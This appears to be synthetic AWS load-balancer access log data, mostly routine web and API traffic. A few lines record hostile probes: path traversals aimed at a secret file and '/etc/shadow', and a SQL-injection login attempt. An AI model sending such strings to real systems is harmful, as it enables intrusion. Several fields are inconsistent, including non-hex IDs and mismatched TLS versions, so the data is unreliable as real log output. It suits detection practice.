arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfce-d7a8683ea6c7494e8b5c798e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:10.569540Z "forward" "-" "-" "10.0.238.107:443" "200" "-" "-" -https 2024-11-01T00:35:11.034614Z staging-alb 214.222.20.208:54049 8.241.91.205:80 0.113156 0.628092 0.126148 200 200 258 9550 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfcf-7f088e9e8d49494ea3fa59cd" "staging-alb.example.com" "-" 7 2024-11-01T00:35:11.034614Z "forward" "-" "-" "8.241.91.205:80" "200" "-" "-" -https 2024-11-01T00:35:12.986338Z prod-web-alb 163.154.92.15:52734 10.0.199.9:443 0.098447 0.190305 0.058650 200 200 506 3973 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfd0-20851acebe9647d88db6a426" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:12.986338Z "forward" "-" "-" "10.0.199.9:443" "200" "-" "-" -https 2024-11-01T00:35:14.088687Z prod-web-alb 107.93.133.37:38924 10.0.14.76:443 0.063967 0.099231 0.096196 200 200 587 6585 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfd2-3ecdb4618a474b6bb7c1d048" "prod-web-alb.example.com" "-" 4 2024-11-01T00:35:14.088687Z "forward" "-" "-" "10.0.14.76:443" "200" "-" "-" -https 2024-11-01T00:35:15.201975Z prod-api-alb 181.247.133.225:48869 10.0.77.128:443 0.078436 0.361143 0.089450 200 200 376 4532 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfd3-965ada56c00540f9a7d60960" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:15.201975Z "forward" "-" "-" "10.0.77.128:443" "200" "-" "-" -https 2024-11-01T00:35:17.081028Z prod-api-alb 22.112.130.221:32186 10.0.198.126:443 0.058604 0.197137 0.078265 404 404 896 3069 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfd5-c275d9e327f049c8a02c4dd6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:17.081028Z "forward" "-" "-" "10.0.198.126:443" "404" "-" "-" -https 2024-11-01T00:35:17.914298Z prod-web-alb 0.123.196.69:58684 10.0.146.141:443 0.064881 0.300588 0.055441 200 200 155 12994 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfd5-8517a3822f8f4f3196520011" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:17.914298Z "forward" "-" "-" "10.0.146.141:443" "200" "-" "-" -http 2024-11-01T00:35:19.322301Z staging-alb 145.64.153.151:24971 97.202.195.72:443 0.080018 0.185973 0.131009 200 200 887 11898 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfd7-4c549a21f8714af083b361e8" "staging-alb.example.com" "-" 10 2024-11-01T00:35:19.322301Z "forward" "-" "-" "97.202.195.72:443" "200" "-" "-" -https 2024-11-01T00:35:19.757908Z staging-alb 193.27.228.156:22917 239.207.254.229:8080 0.006258 0.025877 0.024431 404 404 340 9335 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfd7-50bed0f811504bce8a6a4805" "-" "-" 0 2024-11-01T00:35:19.757908Z "forward" "-" "-" "239.207.254.229:8080" "404" "-" "-" -https 2024-11-01T00:35:21.053397Z prod-web-alb 186.188.146.235:61464 10.0.180.4:443 0.021443 0.143283 0.085470 200 200 787 9836 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfd9-8fc06c8c539e4c46be4ad8d0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:35:21.053397Z "forward" "-" "-" "10.0.180.4:443" "200" "-" "-" -https 2024-11-01T00:35:22.451104Z prod-web-alb 170.93.234.81:18746 10.0.73.4:443 0.099812 0.473881 0.058890 200 200 292 1090 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfda-7325676ccd454031b226b92e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:35:22.451104Z "forward" "-" "-" "10.0.73.4:443" "200" "-" "-" -https 2024-11-01T00:35:24.331681Z prod-api-alb 39.85.69.67:44455 10.0.47.30:443 0.003439 0.405974 0.003935 200 200 716 473 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfdc-ad688faddc3c477a8a124332" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:24.331681Z "forward" "-" "-" "10.0.47.30:443" "200" "-" "-" -https 2024-11-01T00:35:25.958538Z prod-api-alb 233.208.207.252:25013 10.0.36.114:443 0.041656 0.076821 0.025708 200 200 318 2067 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfdd-bba10a3ccb4d45f0a649f957" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:25.958538Z "forward" "-" "-" "10.0.36.114:443" "200" "-" "-" -http 2024-11-01T00:35:27.099371Z staging-alb 218.243.55.192:36105 110.52.83.234:443 0.115947 0.240902 0.100598 200 200 676 391 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfdf-298afdaa06f64957b843f9aa" "staging-alb.example.com" "-" 9 2024-11-01T00:35:27.099371Z "forward" "-" "-" "110.52.83.234:443" "200" "-" "-" -https 2024-11-01T00:35:27.396202Z prod-api-alb 130.189.100.221:33447 10.0.79.228:443 0.066080 0.300305 0.090486 301 301 999 11035 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfdf-218776fe8e3a4433a178cbbf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:27.396202Z "forward" "-" "-" "10.0.79.228:443" "301" "-" "-" -https 2024-11-01T00:35:28.610196Z prod-api-alb 160.46.102.8:53553 10.0.144.54:443 0.051068 0.231040 0.098049 200 200 299 13902 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe0-9d3edbc31ad542a5860b8ddb" "prod-api-alb.example.com" "-" 2 2024-11-01T00:35:28.610196Z "forward" "-" "-" "10.0.144.54:443" "200" "-" "-" -https 2024-11-01T00:35:29.999676Z prod-web-alb 159.153.18.203:15297 10.0.227.66:443 0.040969 0.314813 0.087886 200 200 484 7388 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfe1-9acfad9c6f404c74aecb01da" "prod-web-alb.example.com" "-" 9 2024-11-01T00:35:29.999676Z "forward" "-" "-" "10.0.227.66:443" "200" "-" "-" -https 2024-11-01T00:35:31.916908Z prod-api-alb 27.246.189.243:24958 10.0.129.4:443 0.065355 0.492087 0.056187 200 200 167 8548 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe3-eda1d8eb8bea4a6289cba954" "prod-api-alb.example.com" "-" 6 2024-11-01T00:35:31.916908Z "forward" "-" "-" "10.0.129.4:443" "200" "-" "-" -http 2024-11-01T00:35:33.839330Z staging-alb 195.38.4.236:33871 61.203.134.52:8080 0.012328 0.389998 0.099568 200 200 956 12053 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfe5-4ebfbf0ca849457fab5fda2c" "staging-alb.example.com" "-" 2 2024-11-01T00:35:33.839330Z "forward" "-" "-" "61.203.134.52:8080" "200" "-" "-" -https 2024-11-01T00:35:35.811593Z prod-web-alb 43.213.238.95:45811 10.0.71.81:443 0.057634 0.051080 0.097970 200 200 53 12527 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfe7-90984eed35664c3abb54d0d8" "prod-web-alb.example.com" "-" 2 2024-11-01T00:35:35.811593Z "forward" "-" "-" "10.0.71.81:443" "200" "-" "-" -https 2024-11-01T00:35:36.075146Z prod-web-alb 216.96.19.60:25654 10.0.68.124:443 0.069873 0.297132 0.055537 200 200 498 8455 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfe8-3bbf52daf34741148b44437b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:35:36.075146Z "forward" "-" "-" "10.0.68.124:443" "200" "-" "-" -https 2024-11-01T00:35:36.542369Z prod-api-alb 181.71.198.212:13776 10.0.130.9:443 0.077145 0.329764 0.065044 200 200 804 12154 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfe8-d694e2d353d74079b4b0b7c3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:35:36.542369Z "forward" "-" "-" "10.0.130.9:443" "200" "-" "-" -https 2024-11-01T00:35:37.080548Z staging-alb 121.0.199.242:29914 182.196.225.165:443 0.090915 0.747766 0.057649 200 200 310 12882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfe9-3d7b1c8bd73543fca231c7e7" "staging-alb.example.com" "-" 6 2024-11-01T00:35:37.080548Z "forward" "-" "-" "182.196.225.165:443" "200" "-" "-" -http 2024-11-01T00:35:38.088603Z staging-alb 53.1.163.40:60207 74.35.216.154:8080 0.008025 0.381476 0.014554 200 200 248 12099 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfea-4ce324c1527c406988405598" "staging-alb.example.com" "-" 1 2024-11-01T00:35:38.088603Z "forward" "-" "-" "74.35.216.154:8080" "200" "-" "-" -https 2024-11-01T00:35:39.963382Z prod-api-alb 70.141.18.109:53200 10.0.196.237:443 0.005401 0.381266 0.001469 404 404 14 9338 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfeb-0f54c5ebf5154fc1b4e36798" "prod-api-alb.example.com" "-" 7 2024-11-01T00:35:39.963382Z "forward" "-" "-" "10.0.196.237:443" "404" "-" "-" -https 2024-11-01T00:35:40.865081Z prod-api-alb 168.185.218.193:46937 10.0.204.64:443 0.074632 0.365093 0.083329 301 301 148 11188 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfec-be34ca8585194e01aa76d22f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:40.865081Z "forward" "-" "-" "10.0.204.64:443" "301" "-" "-" -https 2024-11-01T00:35:42.337897Z prod-web-alb 207.62.31.188:12012 10.0.62.22:443 0.029430 0.380413 0.023687 301 301 304 7356 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfee-534dcefc61c347e0baca7c84" "prod-web-alb.example.com" "-" 2 2024-11-01T00:35:42.337897Z "forward" "-" "-" "10.0.62.22:443" "301" "-" "-" -https 2024-11-01T00:35:43.325626Z prod-api-alb 13.181.80.172:20769 10.0.88.223:443 0.026744 0.149549 0.045546 302 302 583 5482 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfef-607a9a813dd74df697e32050" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:43.325626Z "forward" "-" "-" "10.0.88.223:443" "302" "-" "-" -https 2024-11-01T00:35:45.244761Z staging-alb 216.206.92.211:49588 15.214.195.165:80 0.077622 0.024240 0.037293 302 302 718 8966 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff1-87bf423e538f42d383140ab0" "staging-alb.example.com" "-" 6 2024-11-01T00:35:45.244761Z "forward" "-" "-" "15.214.195.165:80" "302" "-" "-" -https 2024-11-01T00:35:45.922523Z prod-api-alb 225.99.28.111:50489 10.0.71.194:443 0.056537 0.146384 0.097436 404 404 523 2495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff1-3ec6442514cc416eb0ea0820" "prod-api-alb.example.com" "-" 1 2024-11-01T00:35:45.922523Z "forward" "-" "-" "10.0.71.194:443" "404" "-" "-" -https 2024-11-01T00:35:47.301371Z prod-web-alb 179.249.231.33:43162 10.0.236.64:443 0.067396 0.283732 0.072146 301 301 524 6027 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bff3-0dfbee7a1d024e22b398aae4" "prod-web-alb.example.com" "-" 9 2024-11-01T00:35:47.301371Z "forward" "-" "-" "10.0.236.64:443" "301" "-" "-" -https 2024-11-01T00:35:48.098090Z prod-api-alb 160.140.220.242:41548 10.0.199.18:443 0.039389 0.182719 0.034860 200 200 728 844 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff4-3e3c639f420a4671af71fb28" "prod-api-alb.example.com" "-" 3 2024-11-01T00:35:48.098090Z "forward" "-" "-" "10.0.199.18:443" "200" "-" "-" -http 2024-11-01T00:35:48.279754Z staging-alb 151.222.158.65:51276 145.223.131.161:443 0.063199 0.550385 0.135463 200 200 97 11998 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff4-e1ca5bf81d11478ba06858de" "staging-alb.example.com" "-" 5 2024-11-01T00:35:48.279754Z "forward" "-" "-" "145.223.131.161:443" "200" "-" "-" -https 2024-11-01T00:35:48.431047Z staging-alb 141.251.134.119:22761 33.120.189.60:80 0.115063 0.241812 0.011229 302 302 419 4630 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bff4-614e407c3a284bb988b3174e" "staging-alb.example.com" "-" 6 2024-11-01T00:35:48.431047Z "forward" "-" "-" "33.120.189.60:80" "302" "-" "-" -https 2024-11-01T00:35:50.032053Z prod-api-alb 61.191.184.185:18281 10.0.189.108:443 0.016767 0.262734 0.076283 404 404 729 13834 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff6-efa779e4264e4b5e80cf4330" "prod-api-alb.example.com" "-" 6 2024-11-01T00:35:50.032053Z "forward" "-" "-" "10.0.189.108:443" "404" "-" "-" -http 2024-11-01T00:35:50.256990Z staging-alb 242.147.32.192:31983 229.51.72.115:80 0.076625 0.230225 0.026268 200 200 637 8540 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bff6-3443078875354eff8fd2b6f8" "staging-alb.example.com" "-" 9 2024-11-01T00:35:50.256990Z "forward" "-" "-" "229.51.72.115:80" "200" "-" "-" -https 2024-11-01T00:35:50.703619Z staging-alb 112.226.238.9:24645 179.85.99.229:8080 0.064083 0.221009 0.105763 200 200 358 12969 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bff6-98fb967945b84608b5cb7a8f" "staging-alb.example.com" "-" 2 2024-11-01T00:35:50.703619Z "forward" "-" "-" "179.85.99.229:8080" "200" "-" "-" -https 2024-11-01T00:35:50.962796Z prod-api-alb 30.131.193.96:19576 10.0.143.249:443 0.000280 0.169938 0.082112 200 200 870 10919 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff6-376afc702c9c4132a8c20e75" "prod-api-alb.example.com" "-" 8 2024-11-01T00:35:50.962796Z "forward" "-" "-" "10.0.143.249:443" "200" "-" "-" -https 2024-11-01T00:35:52.740196Z prod-api-alb 185.181.76.214:55059 10.0.183.225:443 0.093700 0.287929 0.056370 500 500 135 439 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bff8-d9a3f805a8ea4930a97f271e" "-" "-" 0 2024-11-01T00:35:52.740196Z "forward" "-" "-" "10.0.183.225:443" "500" "-" "-" -https 2024-11-01T00:35:53.159166Z prod-api-alb 9.184.167.200:43418 10.0.103.153:443 0.004394 0.209831 0.055543 301 301 419 5637 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bff9-e7164a3ffa5144398b77a3f9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:35:53.159166Z "forward" "-" "-" "10.0.103.153:443" "301" "-" "-" -https 2024-11-01T00:35:54.204952Z staging-alb 158.66.197.223:26069 205.204.213.42:8080 0.146822 0.047225 0.149102 200 200 716 1332 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bffa-d0633d5b6fd84166bf904c9a" "staging-alb.example.com" "-" 5 2024-11-01T00:35:54.204952Z "forward" "-" "-" "205.204.213.42:8080" "200" "-" "-" -https 2024-11-01T00:35:54.369763Z staging-alb 249.103.230.239:30757 129.154.19.107:80 0.095584 0.029546 0.143660 200 200 347 13291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bffa-062832923f5f47298b0e554c" "staging-alb.example.com" "-" 7 2024-11-01T00:35:54.369763Z "forward" "-" "-" "129.154.19.107:80" "200" "-" "-" -https 2024-11-01T00:35:54.615412Z prod-web-alb 45.155.205.51:18916 10.0.51.194:443 0.000430 0.214547 0.008353 404 404 941 2605 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bffa-328303fa1ec845ec9c899be1" "-" "-" 9 2024-11-01T00:35:54.615412Z "forward" "-" "-" "10.0.51.194:443" "404" "-" "-" -https 2024-11-01T00:35:56.329670Z prod-web-alb 107.34.104.194:55139 10.0.128.76:443 0.022943 0.132534 0.033311 200 200 980 3668 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bffc-01b7380e0f034919af23fc2e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:35:56.329670Z "forward" "-" "-" "10.0.128.76:443" "200" "-" "-" -http 2024-11-01T00:35:56.529791Z staging-alb 118.138.98.164:63614 41.176.45.166:443 0.018941 0.132114 0.036507 302 302 781 2271 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bffc-e933802c25714b659cd33f02" "staging-alb.example.com" "-" 7 2024-11-01T00:35:56.529791Z "forward" "-" "-" "41.176.45.166:443" "302" "-" "-" -https 2024-11-01T00:35:57.366248Z prod-api-alb 22.192.176.140:53872 10.0.160.20:443 0.068705 0.469840 0.021215 200 200 774 6441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bffd-1604e24f4d20438c8031b14a" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:57.366248Z "forward" "-" "-" "10.0.160.20:443" "200" "-" "-" -https 2024-11-01T00:35:58.278726Z prod-web-alb 130.172.129.160:51884 10.0.236.46:443 0.078025 0.289241 0.053622 302 302 806 6587 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bffe-561bf50fdffc4057beba0678" "prod-web-alb.example.com" "-" 1 2024-11-01T00:35:58.278726Z "forward" "-" "-" "10.0.236.46:443" "302" "-" "-" -https 2024-11-01T00:35:58.707933Z prod-web-alb 71.101.204.30:51175 10.0.71.30:443 0.009931 0.271616 0.076724 301 301 734 8171 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 